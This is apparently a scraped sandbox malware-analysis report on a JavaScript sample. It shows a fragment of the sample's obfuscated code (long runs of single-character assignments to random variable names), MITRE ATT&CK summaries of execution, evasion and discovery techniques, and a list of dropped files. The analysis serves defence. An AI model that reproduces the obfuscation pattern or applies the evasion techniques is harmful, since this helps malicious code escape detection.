1539	daonqkfw = "c";
1540	daonqkfw = " ";
1541	pzvanqli = "g";
1542	pzvanqli = "F";
1543	pzvanqli = "X";
1544	pzvanqli = "T";
1545	pzvanqli = "k";
1546	pzvanqli = "V";
1547	pzvanqli = "V";
1548	pzvanqli = "x";
1549	pzvanqli = "J";
1550	pzvanqli = "y";
1551	pzvanqli = "L";
1552	pzvanqli = "t";
1553	pzvanqli = "l";
1554	pzvanqli = "k";
1555	pzvanqli = "a";
1556	pzvanqli = "p";
1557	pzvanqli = "o";
1558	pzvanqli = "P";
1559	pzvanqli = "h";
1560	pzvanqli = "C";
1561	pzvanqli = "y";
1562	pzvanqli = "G";
1563	pzvanqli = "d";
1564	pzvanqli = "K";
1565	pzvanqli = "c";
1566	pzvanqli = "h";
1567	pzvanqli = "f";
1568	pzvanqli = "W";
1569	pzvanqli = "y";
1570	pzvanqli = "P";
1571	pzvanqli = "s";
1572	pzvanqli = "p";
1573	pzvanqli = "r";
1574	pzvanqli = "W";
1575	pzvanqli = "n";
1576	pzvanqli = "b";
1577	sqzgi = "Z";
1578	sqzgi = "A";
1579	sqzgi = "j";
1580	sqzgi = "k";
1581	sqzgi = "E";
1582	sqzgi = "c";
1583	sqzgi = "N";
1584	sqzgi = "g";
1585	sqzgi = "h";
1586	sqzgi = "W";
1587	sqzgi = "o";
1588	sqzgi = "i";
1589	sqzgi = "l";
1590	sqzgi = "D";
1591	sqzgi = "t";
1592	sqzgi = "c";
1593	sqzgi = "Q";
1594	sqzgi = "S";
1595	sqzgi = "G";
1596	sqzgi = "I";
1597	sqzgi = "j";
1598	sqzgi = "a";
1599	sqzgi = "e";
1600	sqzgi = "T";
1601	sqzgi = "n";
1602	sqzgi = "Q";
1603	sqzgi = "D";
1604	sqzgi = "x";
1605	sqzgi = "m";
1606	sqzgi = "C";
1607	sqzgi = "P";
1608	sqzgi = "b";
1609	sqzgi = "m";
1610	sqzgi = "H";
1611	sqzgi = "d";
1612	sqzgi = "m";
1613	sqzgi = "v";
1614	sqzgi = "q";
1615	htwohh ( );	htwohh() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 24283946104055016.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\f38a0c4c-13eb-4ec8-8ef8-f761aee9f6df.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7040

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
24283946104055016.js